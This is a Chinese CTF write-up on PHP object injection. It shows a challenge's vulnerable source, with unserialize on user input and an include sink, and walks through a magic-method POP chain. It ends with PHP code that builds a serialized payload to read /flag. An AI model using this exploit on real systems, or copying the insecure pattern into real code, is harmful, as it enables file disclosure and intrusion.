进来就是源码直接奉上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 Happy New Year~ MAKE A WISH <?php echo 'Happy New Year~ MAKE A WISH<br>' ;if (isset ($_GET ['wish' ])){ @unserialize ($_GET ['wish' ]); }else { $a =new Road_is_Long ; highlight_file (__FILE__ ); }class Road_is_Long { public $page ; public $string ; public function __construct ($file ='index.php' ) { $this ->page = $file ; } public function __toString ( ) { return $this ->string ->page; } public function __wakeup ( ) { if (preg_match ("/file|ftp|http|https|gopher|dict|\.\./i" , $this ->page)) { echo "You can Not Enter 2022" ; $this ->page = "index.php" ; } } }class Try_Work_Hard { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append ($this ->var ); } }class Make_a_Change { public $effort ; public function __construct ( ) { $this ->effort = array (); } public function __get ($key ) { $function = $this ->effort; return $function (); } }
审计代码 发现只有include能利用来进行文件包含读取flag所以用include作为结尾开始构造poc 先来介绍几个用得到的魔术方法 __toString, 类被当成字符串时的回应方法 __wakeup(),执行unserialize()时,先会调用这个函数 __invoke(),调用函数的方式调用一个对象时的回应方法 __get(),调用一个不存在的成员变量触发 想要调用append函数只能通过触发invoke方法来调用 调用invoke则需要触发get方法 get方法需要通过触发toString来触发 toString方法就只能通过本类里面的wakeup方法来进行触发
payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php class Road_is_Long { public $page ; public $string ; }class Try_Work_Hard { protected $var = '/flag' ; }class Make_a_Change { public $effort ; }$a = new Road_is_Long ();$b = new Make_a_Change ();$a ->string = $b ;$a ->page = $a ;$a ->string ->effort = new Try_Work_Hard ();echo urlencode (serialize ($a ));